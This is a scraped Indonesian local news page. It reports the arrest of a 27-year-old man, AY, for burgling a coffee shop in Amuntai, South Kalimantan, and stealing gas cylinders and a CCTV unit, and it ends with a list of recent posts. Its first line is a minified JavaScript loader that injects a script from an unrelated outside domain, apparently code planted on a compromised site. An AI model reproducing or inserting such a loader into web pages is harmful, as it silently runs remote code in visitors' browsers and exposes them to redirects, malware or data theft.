(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Bobol Kedai Kopi Curi Tabung Gas, AY Dibekuk Unit Jatanras Polres HSU


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda AY (27) warga Desa Binjai Pamangkih, Kecamatan Labuan Amas Utara, Kabupaten Hulu Sungai Tengah (HST) diamankan Unit Jatanras Polres Hulu Sungai Utara (HSU), diduga sebagai pelaku tindak pencurian.

Pelaku diketahui membobol sebuah kedai kopi di Jalan Lambung Mangkurat, Desa Pelampitan Hilir, Kecamatan Amuntai Tengah, pada Sabtu (10/4/2021), sekitar pukul 03.00 Wita dini hari.

Kapolres HSU AKBP Afri Darmawan SIK MH melalui Kasat Resktim Iptu M Andi Patinasarani SH, kepada Kanalkalimantan.com, Kamis (15/4/2021) membenarkan penangkapan terhadap pelaku AY usai menerima laporan Ahmad Birhasani, si pemilik kedai kopi
Berdasarkan hasil penyelidikan, polisi berhasil melakukan penangkapan terhadap pelaku di sebuah rumah di Desa Nelayan RT 05, Kecamatan Sungai Tabukan, Kabupaten HSU, Rabu (14/4/2021) sekitar pukul 12.30 Wita.

 

Baca juga: Jembatan Alalak 1 Satu Arah dari Banjarmasin, Angkutan Barang Tak Diperbolehkan

Kasat Resktim menjelaskan, kejadian berawal ketika korban bersama saksi membuka pintu kedai kopi, melihat ruangan sudah berantakan. Termasuk semua tabung gas 3 Kg yang ada di dalam kedai kopi sudah tidak ada berada di tempatnya.

“Termasuk CCTV juga tidak ada di dalam kedai semua hilang, dan pada saat pelapor melihat ke dapur ternyata jendela di dapur terbuka lebar,” jelas Kasatreskrim Polres HSU.

Kemudian korban memberitahukan kepada ayahnya bahwa kedai kopi milik dibongkar berikut kehilangan semua barang yang ada di dalam kedai kopi.

Baca juga: Resmi Dibuka, Ini Jam Operasional Jembatan Alalak 1

Pemilik kedai kopi mengaku kehilangan 12 buah tabung gas 3 Kg dan 1 unit CCTV, dengan total kerugian sebanyak Rp 3 juta. Pemilik kemudian melaporkan kejadian tersebut ke Mapolres HSU.

Atas tindak Pidana Pencurian dengan pemberatan yang di maksud dalam pasal 363 KUHPidana tersebut, pelaku bersama barang bukti yakni sebuah Honda Scoopy dan lima tabung gas 3 Kg digelandang ke Polres HSU guna penyedikan lebih lanjut. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

19 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

22 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.